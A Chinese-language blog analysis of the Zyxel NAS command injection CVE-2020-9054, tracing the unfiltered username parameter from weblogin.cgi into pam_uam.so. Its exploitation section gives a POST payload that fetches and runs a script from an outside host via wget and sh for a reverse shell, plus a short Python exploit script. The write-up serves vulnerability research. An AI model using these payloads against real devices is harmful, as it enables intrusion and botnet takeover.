zyxel nas CVE-2020-9054 漏洞分析
VSole2021-10-26 16:17:28

一.漏洞概述
CVE-2020-9054是由于可執行文件weblogin.cgi在身份驗證期間未正確過濾username參數造成的,導致攻擊者可以在傳遞給此文件的用戶名中包含某些特殊字符來觸發漏洞,進而以webserver的權限實現命令注入。

二.漏洞分析
官網下載Zyxel NAS326_V5.21(AAZF.0)C0版本固件,使用binwalk直接解包即可,定位到weblogin.cgi,使用ida打開ext-root-bin.cgi
通過
gcgiFetchStringNext("username", username, 63)
獲取用戶名,長度63(不知道輸入超過63個行不行) 然后進入
if ( user_auth(username, (int)password, (int)remote_addr, (int)v18, nptr, v8) >= 0 )// pam_authenticate()
調用
v20 = pam_authenticate(v18, 0x8000);
查找 pam_sm_authenticate() 函數
ubuntu@ubuntu:~/Desktop/zyxel/nas/NAS326_V5.21(AAZF.0)C0/_521AAZF0C0.bin.extracted/_71BEA9.extracted/ext-root$ grep "pam_sm_authenticate" -rBinary file usr/lib/libpam.so.0.83.1 matchesBinary file lib/security/pam_pidhome.so matchesBinary file lib/security/pam_auth_admin.so matchesBinary file lib/security/pam_guestok.so matchesBinary file lib/security/pam_cloud_step2.so matchesBinary file lib/security/pam_smbpass.so matchesBinary file lib/security/pam_nologin.so matches***Binary file lib/security/pam_uam.so matches***Binary file lib/security/pam_cloud_step1.so matches 定位文件lib/security/pam_uam.so,ida打開如下:

snprinf() 格式化username時,未作過濾,導致命令注入
三.漏洞利用
由于漏洞執行命令不能回顯,使用下載執行,進行反彈:
POST http://ip/adv./cgi-bin/weblogin.cgi?username=admin';cd /tmp;wget http://xxx.xxx.xxx.xxx/re;sh re #&password=aaa
import requestsimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exec_command(url, command): injection = "admin';%s #" %(command) data = {"password": "asdf", "username": injection} try: r = requests.post(url=url, data=data, verify=False) except Exception as e: print (e) print(r.text)
if __name__ == "__main__": target = "https://x.x.x.x/r51201,/desktop,/cgi-bin/weblogin.cgi" #for test cmd ="wget x.x.x.x;" exec_command(target, cmd)
有些網站的目錄不一定時/adv./,需要自己登錄訪問觀察下。
四.補丁對比

參考
請及時更新固件!能利用CVE-2020-9054的Mirai新變種來襲:
https://www.6cu.com/seoxuetang/kj/2020/0328/47808.html
PAM詳解:
http://blog.chinaunix.net/uid-29479952-id-5761558.html
poc test: https://kb.cert.org/artifacts/cve-2020-9054.html
VSole
網絡安全專家